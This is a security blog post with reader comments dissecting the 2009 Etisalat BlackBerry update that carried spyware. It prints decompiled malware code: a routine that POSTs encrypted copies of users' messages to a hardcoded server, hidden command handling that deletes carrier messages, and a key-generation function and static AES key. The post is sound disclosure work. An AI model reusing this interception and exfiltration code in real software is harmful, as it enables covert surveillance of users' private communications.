BlackBerry Spyware Dissected

Yesterday it was reported by various media outlets that a recent BlackBerry software update from Etisalat (a UAE-based carrier) contained spyware that would intercept emails and text messages and send copies to a central Etisalat server. We decided to take a look to find out more.

We’re not sure why the software was delivered in both .jar and .cod form. The .cod file is a RIM proprietary format that contains the compiled Java classes along with a signature. Therefore it’s not even necessary to send the .jar, but they did, completely unobfuscated. Arrogance or incompetence? Here’s what’s inside:

$ jar tvf Registration.jar
     0 Sat Jul 04 18:52:00 EDT 2009 META-INF/
   447 Sat Jul 04 18:52:00 EDT 2009 META-INF/MANIFEST.MF
 18732 Sat Jul 04 18:52:00 EDT 2009 Registration.cod
    91 Sat Jul 04 18:52:00 EDT 2009 Registration.csl
   183 Sat Jul 04 18:52:00 EDT 2009 Registration.cso
     0 Sat Jul 04 18:52:00 EDT 2009 com/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/
 10857 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Commands.class
  2388 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Constants.class
  1056 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Log.class
   935 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main$1.class
  3479 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main.class
  4137 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/MsgOut.class
  5975 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Recv.class
 16133 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Send.class
  2988 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/StatusChange.class
  6462 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Transmit.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/
  3465 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/HTTPDeliver.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/
  7370 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTP.class
  3285 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTPHeader.class
  3871 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/SocketBase.class
  1273 Sat Jul 04 18:52:00 EDT 2009 Interceptor.class

These classes implement the various hooks:

  • The Recv class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.event.StoreListener, allowing it to hook folder and message store updates. It’s installed using addFolderListener().
  • The Send class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.SendListener, allowing it to hook folder updates and outbound messages. It’s not installed as a listener via addSendListener(), though it’s used explicitly to forward messages later on.
  • The StatusChange class implements net.rim.device.api.system.RadioStatusListener and net.rim.device.api.system.GlobalEventListener, allowing it to hook radio events such as a change of network. It’s installed using addRadioListener() and addGlobalEventListener(), and all it really does is remove and re-register the Recv listener when certain network events occur.

Whenever a message is received on the device, the Recv class first inspects it to determine if it contains an embedded command — more on this later. If not, it UTF-8 encodes the message, GZIPs it, AES encrypts it using a static key (“EtisalatIsAProviderForBlackBerry”), and Base64 encodes the result. It then adds this bundle to a transmit queue. The main app polls this queue every five seconds using a Timer, and when there are items in the queue to transmit, it calls this function to forward the message to a hardcoded server via HTTP (see below). The call to http.sendData() simply constructs the POST request and sends it over the wire with the proper headers.

private boolean queueHTTP(boolean is_registration)
{
  boolean result = false;
  StringBuffer url = new StringBuffer();
  StringBuffer buf = new StringBuffer();
  url.setLength(0);
  url.append("http://10.116.3.99:7095/bbupgr");
  if(is_registration)
    url.append("/register");
  else
    url.append("/store");
  buf.setLength(0);
  buf.append("");
  if(is_registration)
    buf.append("regbb@etisalat.ae");
  else
    buf.append("etisalat_upgr@etisalat.ae");
  buf.append("");
  buf.append("rn");
  buf.append("");
  buf.append(subj);
  buf.append("");
  buf.append("rn");
  buf.append("");
  buf.append(body);
  buf.append("");
  String final_buf = encodeMsg(buf.toString(), true);
  for(int i = 0; i < max_tries; i++)
  {
    HTTPDeliver http = new HTTPDeliver(log);
    result = http.sendData(url.toString(), final_buf, true);
    if(!is_registration);
    if(result)
      return result;
    try
    {
      Thread.sleep(30000L);
    }
    catch(InterruptedException iex) { }
  }

  return result;
}

Let’s get back to that part about embedded commands. The first thing that the Recv class does is check to see if there’s an embedded command in the received message. The first check is actually inactive due to a conditional that will always evaluate to false. If I had to guess I would say that conditional was originally used to check the origin of the message against two BlackBerry device PINs — that’s a guess based on the fact that the strings look similar to the device PIN format. If this code path were enabled, any message with a subject containing “cmd_mail” would be passed off to a command handling routine. If the subject also contained “XXX”, it meant the body was encrypted.

if("206789ea".length() < 1 && "205b04e4".length() < 1)
{
  if(subject != null && subject.indexOf("cmd_mail") != -1)
  {
    String body = msg.getBodyText();
    if(body != null)
      if(subject.indexOf("XXX") != -1)
        cmds.encryptedCmd(log, sender, body);
      else
        cmds.interpCmdBuffer(log, sender, body);
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    return;
  }
}

Since that section will never run, we move on to the else clause. Here, we see that if the sender name and address match “Customer Service” and the message was PIN-based (as opposed to email based) the body of the message will be treated as an encrypted command packet and the message will be instantly discarded. It’s unclear if it will momentarily appear in the user’s Inbox, but even if it does, it won’t be there for long.

else
{
  String fpin = null;
  String fnam = null;
  try
  {
    Address from = msg.getFrom();
    if(from != null)
    {
      fpin = from.getAddr();
      fnam = from.getName();
    }
  }
  catch(Exception e) { }
  if(fpin != null && fnam != null && fpin.equalsIgnoreCase("Customer Service") && fnam.equalsIgnoreCase("Customer Service") && cmds.msgIsPIN(msg))
  {
    String body = msg.getBodyText();
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    if(body != null)
      cmds.encryptedCmd(log, sender, body);
    return;
  }
}

The encryptedCmd() function parses the body of the command packet by extracting anything that looks like a PGP signature block, that is, the chunk of text delimited by the strings “—–BEGIN PGP SIGNATURE—–” and “—–END PGP SIGNATURE—–”. It then Base64 decodes the body and AES decrypts it using an AES key based on the device PIN. It then parses the command packet, which is an XML-like structure. It doesn’t seem to execute arbitrary commands, just packages up device information such as IMEI, IMSI, phone number, etc. and sends it back to the central server, the same way it does for received messages. It also provides a way to remotely enable/disable the spyware itself using the commands “start” and “stop”. Just for fun, here’s the key generation routine used to encrypt these command packets to a specific device. The keyString variable is the hex-encoded form of whatever is returned by the RIM API call DeviceInfo.getDeviceId():

public static byte[] generateKey(String keyString, int keylen)
{
  byte buf[] = new byte[keylen];
  Arrays.fill(buf, (byte)0);
  byte key[] = keyString.getBytes();
  int srcbytes = key.length;
  int n = srcbytes;
  if(n < keylen)
    n = keylen;
  int keyoffset = 0;
  int i = 0;
  int j = 0;
  for(; i < n; i++)
  {
    int pos = i % srcbytes;
    buf[j++] ^= key[pos] + keyoffset;
    if(pos == srcbytes - 1)
      keyoffset += 23;
    if(j % keylen == 0)
      j = 0;
  }

  return buf;
}

The most alarming part about this whole situation is that people only noticed the malware because it was draining their batteries. The server receiving the initial registration packets (i.e. “Here I am, software is installed!”) got overloaded. Devices kept trying to connect every five seconds to empty the outbound message queue, thereby causing a battery drain. Some people were reporting on official BlackBerry forums that their batteries were being depleted from full charge in as little as half an hour.

The final thing to mention is that the spyware does appear to be installed in a non-running state by default, where it’s not actually exfiltrating data once the initial registration packet has gone out. However, using the command and control mechanism we described earlier, the carrier can remotely start/stop the service at will on a per-device basis.

Veracode Security Solutions
Veracode Security Threat Guides

Chris Wysopal | July 15, 2009 2:21 pm

With the end to end encryption of the Blackberry Enterprise Servier the mobile carrier never gets to see the message in the clear. A lawful intercept (CALEA in the US) is going to require spyware pushed down to the device. Perhaps this is the purpose of this software. There are a few data points that suggest this. ss8.com is in the code and SS8 makes lawful intercept equipment for telecom carriers. The software needed to be activated before it started sending private data to the carrier email address.

-Chris

BlackBerry | July 15, 2009 9:35 pm

[...] More here: BlackBerry Spyware Dissected [...]

Chirashi Security » A look at Etisalat’s BlackBerry Interceptor | July 15, 2009 10:59 pm

[...] The recent reporting of the badly deployed piece of spyware on Etisalat’s BlackBerry users prompted me to write this post.  I managed to grab a copy of the Registration.jar file and went to work analyzing the source code.  The code itself was not obfuscated so it was quite simple to review once unpacked and decompiled by the Java Decompiler.  Chris Eng has done a great job at dissecting the class files so I’m not going to re-state what he did.  Take a look at his article. [...]

curiouspete | July 16, 2009 10:13 am

Aren’t BB pins numeric? If a sending BB pin can be forged/spoofed, is there anything else prohibiting non-Etisilat staff from controlling this malware?

Steve | July 16, 2009 5:06 pm

Very interesting Chris.

Brian Kelly | July 16, 2009 5:14 pm

Is there any way the modules or application can be seen from the BES? The BES can see most applications installed on the handheld, so it shouldn’t be too difficult to compose an SQL script to see what devices are “infected”. No?

Chris Eng | July 16, 2009 7:40 pm

@curiouspete: Yes, PINs are eight hex characters, e.g. 206789EA like one of the hardcoded strings in the code. PIN-to-PIN messages don’t actually go directly from one device to the other, they all go through RIM’s infrastructure at some point, I believe. As such, there are safeguards in place to protect against spoofing. Moreover, if someone were able to bypass these protections and spoof the “start” command packet to a device where the spyware was installed, the messages would be forwarded to Etisalat, not the person who sent the command. So it wouldn’t help the attacker that much.

@Brian: Yes, I believe that a BES administrator should be able to block or remove applications via IT Policy settings. However, I don’t know if this particular application would be treated differently by IT Policy due to the fact that it was sent by the carrier versus downloaded by the user.

jcran | July 18, 2009 4:03 pm

it’s /incredible/ to me that this isn’t bigger news. 100,000 devices in the middle east tapped by what would appear (at first, second, and third glance) to be government officials (possibly US).

wow.

jcran

5 Days Security // VOID-STAR.NET β | July 25, 2009 8:31 pm

[...] — and how they are both awesome and lame at the same time. We also had a look at the recent BlackBerry spyware thingie as an example. Running the code for that through Fortify came up with lots of “this code is [...]

Ridercop | August 3, 2009 6:24 pm

Very interesting article.
Does somebody know where I can download the jar please?

Thank you

Ridercop | August 8, 2009 12:31 pm

Thank you very much Chris Eng for your good job

dogsnapper | August 19, 2009 6:50 am

Hello,
How can I, as a layperson (who is comfortable handling technology), detect spyware on my BB Curve?
I’ve scoured Google and cannot find any down-to-earth, detailed instructions
on specific files and locations to look at.

Please help fast!

bold9700 | March 28, 2011 3:44 am

The spyware and the interception options are common these days . All the mobile operators are involved and all our blackberry email communication is tracked ! There is no service (a tracking one) wich you can stop from your device , the issue stands on a completely different level . Anyway , thank you for this post , i really liked it , its interesting !

Please Post Your Comments & Reviews

Your email address will not be published. Required fields are marked *

RSS feed for comments on this post